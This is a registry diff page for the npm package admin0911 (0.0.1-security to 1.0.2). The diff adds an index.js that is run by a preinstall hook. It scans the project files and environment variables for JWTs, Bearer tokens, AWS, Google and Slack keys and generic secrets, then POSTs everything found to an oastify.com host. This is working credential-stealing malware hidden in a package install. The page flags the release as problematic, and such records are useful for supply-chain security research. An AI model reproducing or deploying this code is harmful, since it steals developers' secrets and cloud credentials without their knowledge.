admin0911 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of admin0911 might be problematic. Click here for more details.

Binary file
package/index.js ADDED
@@ -0,0 +1,131 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+
5
+ const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
6
+ const ROOT_DIR = process.cwd();
7
+ const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
8
+ const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
9
+
10
+ const found = [];
11
+
12
+ function isTextFile(filePath) {
13
+ const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
14
+ return textExtensions.includes(path.extname(filePath).toLowerCase());
15
+ }
16
+
17
+ function base64UrlDecode(input) {
18
+ let str = input.replace(/-/g, '+').replace(/_/g, '/');
19
+ while (str.length % 4) str += '=';
20
+ return Buffer.from(str, 'base64').toString('utf8');
21
+ }
22
+
23
+ function isValidJWT(token) {
24
+ const parts = token.split('.');
25
+ if (parts.length !== 3) return false;
26
+ if (parts.some(part => part.length < 10)) return false;
27
+ try {
28
+ const header = JSON.parse(base64UrlDecode(parts[0]));
29
+ const payload = JSON.parse(base64UrlDecode(parts[1]));
30
+ return !!header && !!payload;
31
+ } catch {
32
+ return false;
33
+ }
34
+ }
35
+
36
+ function addResult(entry) {
37
+ found.push(entry);
38
+ }
39
+
40
+ function scanFile(filePath) {
41
+ try {
42
+ const stats = fs.statSync(filePath);
43
+ if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
44
+ if (!isTextFile(filePath)) return;
45
+
46
+ const content = fs.readFileSync(filePath, 'utf8');
47
+
48
+ // JWT tokens
49
+ const jwtPattern = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g;
50
+ let match;
51
+ while ((match = jwtPattern.exec(content))) {
52
+ const token = match[0];
53
+ if (isValidJWT(token)) {
54
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'JWT', token });
55
+ }
56
+ }
57
+
58
+ // Bearer / Authorization tokens
59
+ const bearerPattern = /Bearer\s+([A-Za-z0-9-_.]{20,})/gi;
60
+ while ((match = bearerPattern.exec(content))) {
61
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'BearerToken', token: match[1] });
62
+ }
63
+
64
+ // Known key formats
65
+ const patterns = [
66
+ { name: 'AWSAccessKey', regex: /AKIA[0-9A-Z]{16}/g },
67
+ { name: 'GoogleAPIKey', regex: /AIza[0-9A-Za-z-_]{35}/g },
68
+ { name: 'SlackToken', regex: /xox[baprs]-[0-9A-Za-z-]+/g }
69
+ ];
70
+ patterns.forEach(({ name, regex }) => {
71
+ let pMatch;
72
+ while ((pMatch = regex.exec(content))) {
73
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: name, token: pMatch[0] });
74
+ }
75
+ });
76
+
77
+ // Generic secrets in assignment form
78
+ const genericPattern = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{20,})['\"]?/gi;
79
+ while ((match = genericPattern.exec(content))) {
80
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'GenericSecret', token: match[1] });
81
+ }
82
+ } catch (e) {
83
+ // ignore unreadable files
84
+ }
85
+ }
86
+
87
+ function scanDirectory(dir) {
88
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
89
+ for (const entry of entries) {
90
+ if (IGNORE_DIRS.includes(entry.name)) continue;
91
+ const fullPath = path.join(dir, entry.name);
92
+ if (entry.isDirectory()) {
93
+ scanDirectory(fullPath);
94
+ } else {
95
+ scanFile(fullPath);
96
+ }
97
+ }
98
+ }
99
+
100
+ function scanEnvVars() {
101
+ Object.entries(process.env).forEach(([key, value]) => {
102
+ if (!value) return;
103
+ const lowerKey = key.toLowerCase();
104
+ const suspiciousKey = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key|password|access_key|secret_key)/i.test(lowerKey);
105
+ if (suspiciousKey && value.length >= 20) {
106
+ addResult({ source: 'env', key, type: 'EnvSecret', token: value });
107
+ }
108
+ const bearerMatch = value.match(/Bearer\s+([A-Za-z0-9-_.]{20,})/i);
109
+ if (bearerMatch) addResult({ source: 'env', key, type: 'BearerToken', token: bearerMatch[1] });
110
+ if (isValidJWT(value)) addResult({ source: 'env', key, type: 'JWT', token: value });
111
+ });
112
+ }
113
+
114
+ scanDirectory(ROOT_DIR);
115
+ scanEnvVars();
116
+
117
+ const payload = JSON.stringify({ timestamp: new Date().toISOString(), results: found }, null, 2);
118
+ const req = http.request({
119
+ hostname: OASTIFY_HOST,
120
+ method: 'POST',
121
+ path: '/?token_scan',
122
+ headers: {
123
+ 'Content-Type': 'application/json',
124
+ 'Content-Length': Buffer.byteLength(payload)
125
+ }
126
+ });
127
+ req.write(payload);
128
+ req.end();
129
+
130
+ fs.writeFileSync('token_scan_results.log', payload + '\n');
131
+ console.log(`token scan completed: found ${found.length} candidates. Results sent to OASTIFY.`);
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ }
6
7
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=admin0911 for more information.